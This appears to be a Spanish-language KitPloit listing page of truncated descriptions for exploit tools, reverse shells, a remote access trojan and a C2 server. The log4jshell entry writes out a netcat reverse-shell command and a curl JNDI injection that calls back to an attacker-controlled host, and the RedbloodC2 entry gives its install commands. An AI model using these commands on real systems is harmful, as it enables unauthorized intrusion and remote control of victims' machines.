nodejshell

NODEJSHELL - Reverse shell exploit for NodeJs deserialization CVE-2017-5941 The exploit automatically generates the reverse shell payload which is encoded in decimal and then in base64. After that, this payload is sent via an HTTP POST request that serializes the user input and stores it in a...

CVE-2023-4450-Attack

CVE-2023-4450-Attack Herramienta automatizada para explotar la vulnerabilidad CVE-2023-4450 en JimuReport Introducción ¡Esta herramienta solo debe usarse para pruebas de seguridad, no para fines ilegales! Usage root@kitploit: java -jar CVE-2023-4450-Attack.jar Ofrece tres funciones: ejecución de...

log4jshell_CVE-2021-44228

log4jshellCVE-2021-44228 Log4jshell - CVE-2021-44228 Netcat nc Public IP Port -e /bin/sh Convertir a Base64 bmMgMy4xMD.....wMyA4ODg4IC1lIC9iaW4vc2g= Payload curl Target Website -H "X-Forwarded-Host: $jndi:ldap://ReverseshellIP:Port/Basic/Command/Base64/Payload in base64 Prueba de concepto Log4j P...

rustcat

rustcat - El moderno listener de puertos y shell reverso ¿Qué es Rustcat? Rustcat es un listener de puertos y shell reverso fácil de usar para Linux, MacOS y Windows, diseñado para ser accesible y sencillo. Modos Modo escucha listen; Modo shell reverso connect; Características Historial de comand...

DarkFox

DarkFox Remote access trojan created using WinRar with an installer ex. firefox and python Reverse Shell embedded. Edit the client.py file by setting IP and port of the attacking Server listening and IP and port of any proxy present in the attack machine.If there is not a proxy comment the relati...

SmileySploit

SmileySploit Un script básico que explota CVE-2011-2523 Resumen En 2011, se encontró una puerta trasera integrada en servidores vsFTPd que ejecutaban la versión 2.3.4, en la cual usar un emoticono sonriente ":" desencadena una conexión inversa a un atacante. Con esto, es extremadamente fácil crea...

CVE-2021-31630

CVE-2021-31630 Modificado el script PoC CVE-2021-31630 por Fellipe Oliveira para HTB Uso 'Example usage: exploit.py -u http://target-uri:8080 -l admin -p admin -i 192.168.1.54 -r 4444 -P program.st"'...

micr0_shell

micr0 shell Micr0shell es un script ligero y eficiente en Python diseñado para generar dinámicamente shellcode de reverse shell independiente de posición PIC libre de nulos para Windows X64. Dependiendo de las opciones seleccionadas, el shellcode generado puede ser hasta 27 bytes más pequeño que ...

Richsploit

Richsploit Richsploit: Kit de explotación para RichFaces. Resumen Richsploit puede utilizarse para explotar endpoints JSF mediante RichFaces. Todas las versiones desde 3.1.0 en adelante son vulnerables. root@kitploit: usage: Richsploit -e,--exploit 0: CVE-2013-2165 1: CVE-2015-0279 2:...

CVE-2023-4220_Chamilo_RCE

CVE-2023-4220 Exploit en Python para la vulnerabilidad de carga de archivos sin restricciones en Chamilo - CVE-2023-4220 El código contenido en este repositorio tiene fines exclusivamente educativos. Descripción: La carga de archivos sin restricciones en la funcionalidad de carga de archivos...

RedbloodC2

Versión pública de Redblood C2 root@kitploit: This is a simple command and control server to handle sessions and your victims instalación root@kitploit: $ git clone https://github.com/kira2040k/RedbloodC2.git $ cd RedbloodC2 $ npm install $ node server.js Uso root@kitploit: Después de instalar...

redpill

:octocat: Descripción del Proyecto El proyecto redpill tiene como objetivo asistir a las shells TCP inversas en tareas de post-explotación. A menudo, en citas de redteam necesitamos usar formas no convencionales para acceder al sistema objetivo, como shells TCP inversas no metasploit para sortear...

PwnLnX

PwnLnX Una avanzada multi-hilo , multi-cliente reverse shell en Python para hackear sistemas Linux. Todavía hay más trabajo por hacer, así que siéntete libre de ayudar con el desarrollo. Descargo de responsabilidad : Esta reverse shell solo debe utilizarse en la administración legal y autorizada ...

CVE-2019-16278-Nostromo-1.9.6-RCE

CVE-2019-16278-Nostromo-1.9.6-RCE Este repositorio contiene un exploit para CVE-2019-16278 en Nostromo Web Server 1.9.6, que permite la ejecución remota de código mediante una vulnerabilidad de directory traversal. El script usa pwntools para establecer una reverse shell. Solo para fines educativ...

CVE-2025-56383

Vulnerabilidad root@kitploit: Tipo de ataque: DLL Hijacking secuestro de DLL Aplicación objetivo: Notepad++ Método: El archivo NppExport.dll es cargado por Notepad++ desde el directorio de trabajo Implementación La DLL maliciosa contiene: root@kitploit: Funciones exportadas de la biblioteca...

spring4shell-poc

Spring4Shell POC Descripción de la vulnerabilidad: https://www.cyberkendra.com/2022/03/springshell-rce-0-day-vulnerability.html Construcción del POC: https://github.com/BobTheShoplifter/Spring4Shell-POC Pasos para construir/ejecutar Probado con JDK 11.0.14, Spring Boot 2.6.5 y Apache Tomcat 9.0.6...

CVE-2019-8781-macOS

CVE-2019-8781 Aviso de Seguridad CVE-2019-8781 Detalles del POC El POC eleva el proceso a root y ejecuta un shell. Entorno de explotación root@kitploit: - macOS 10.14.6 18G95 Debería funcionar en todas las versiones de macOS lanzadas antes de 10.15.0 - SMEP: Activado - SMAP: Desactivado - Se pasa...

CVE-2026-0073-Android-ADBD-bypass-POC_zh_CN

CVE-2026-0073 — Android ADBD TLS Authentication Bypass EVPPKEYcmp Type Confusion → Unauthorized ADB Shell 🔥 Overview A critical authentication bypass vulnerability exists in Android's ADB daemon adbd that allows any attacker on the local network to obtain full shell access on a target device...

CVE-2025-60787

CVE-2025-60787 - RCE autenticado en motionEye PoC para CVE-2025-60787 que es una vulnerabilidad de RCE autenticado para motionEye con todas las versiones afectadas hasta 0.43.1b4 incluida. Este es un PoC automatizado para la vulnerabilidad descrita en este repositorio. Créditos a prabhatverma47...

jboss-autopwn

jboss-autopwn JBoss Autopwn tal como se presentó en BlackHat Europe 2010: esta versión incorpora CVE-2010-0738, la vulnerabilidad de omisión de autenticación de JBoss mediante manipulación de verbos descubierta por Minded Security C. Papathanasiou 2010 INTRODUCCIÓN Este script de JBoss despliega ...